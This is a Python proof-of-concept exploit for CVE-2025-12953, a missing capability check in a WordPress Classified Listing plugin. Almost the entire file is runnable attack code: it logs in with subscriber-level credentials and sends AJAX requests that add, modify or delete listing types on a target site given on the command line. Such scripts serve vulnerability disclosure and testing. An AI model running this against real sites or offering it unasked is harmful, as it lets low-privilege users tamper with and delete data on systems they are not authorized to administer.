#!/usr/bin/env python3
"""
CVE-2025-12953 PoC - WordPress Classified Listing Plugin Authorization Bypass
This PoC demonstrates the missing capability check vulnerability in the Classified Listing plugin.
"""
import requests
import sys
from urllib.parse import urljoin
def exploit_cve_2025_12953(target_url, username, password, action='add'):
"""
Exploit the missing authorization vulnerability in WordPress Classified Listing plugin.
Args:
target_url: Base URL of the WordPress site
username: WordPress username (subscriber level or higher)
password: WordPress password
action: 'add', 'update', or 'delete'
"""
# Step 1: Authenticate to WordPress
session = requests.Session()
login_url = urljoin(target_url, 'wp-login.php')
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': target_url,
'testcookie': '1'
}
print(f"[*] Authenticating as {username}...")
response = session.post(login_url, data=login_data, allow_redirects=True)
if 'wordpress_logged_in' not in str(session.cookies):
print("[-] Authentication failed")
return False
print("[+] Authentication successful")
# Step 2: Prepare AJAX request based on action
ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php')
if action == 'add':
# Add a new listing type
payload = {
'action': 'rtcl_ajax_add_listing_type',
'listing_type': {
'name': 'Malicious Type',
'slug': 'malicious-type',
'description': 'Injected by CVE-2025-12953'
}
}
print("[*] Adding malicious listing type...")
elif action == 'update':
# Update existing listing type (replace ID with actual)
payload = {
'action': 'rtcl_ajax_update_listing_type',
'listing_type': {
'id': 1,
'name': 'Modified Type',
'description': 'Modified by CVE-2025-12953'
}
}
print("[*] Updating listing type...")
elif action == 'delete':
# Delete listing type (replace ID with actual)
payload = {
'action': 'rtcl_ajax_delete_listing_type',
'listing_type_id': 1
}
print("[*] Deleting listing type...")
else:
print("[-] Invalid action")
return False
# Step 3: Send AJAX request without admin privileges
print("[*] Sending AJAX request (subscriber-level access)...")
response = session.post(ajax_url, data=payload)
if response.status_code == 200:
print(f"[+] Request sent successfully")
print(f"[+] Response: {response.text[:200]}")
return True
else:
print(f"[-] Request failed with status {response.status_code}")
return False
if __name__ == '__main__':
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <action>")
print("Actions: add, update, delete")
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
action = sys.argv[4]
exploit_cve_2025_12953(target, user, pwd, action)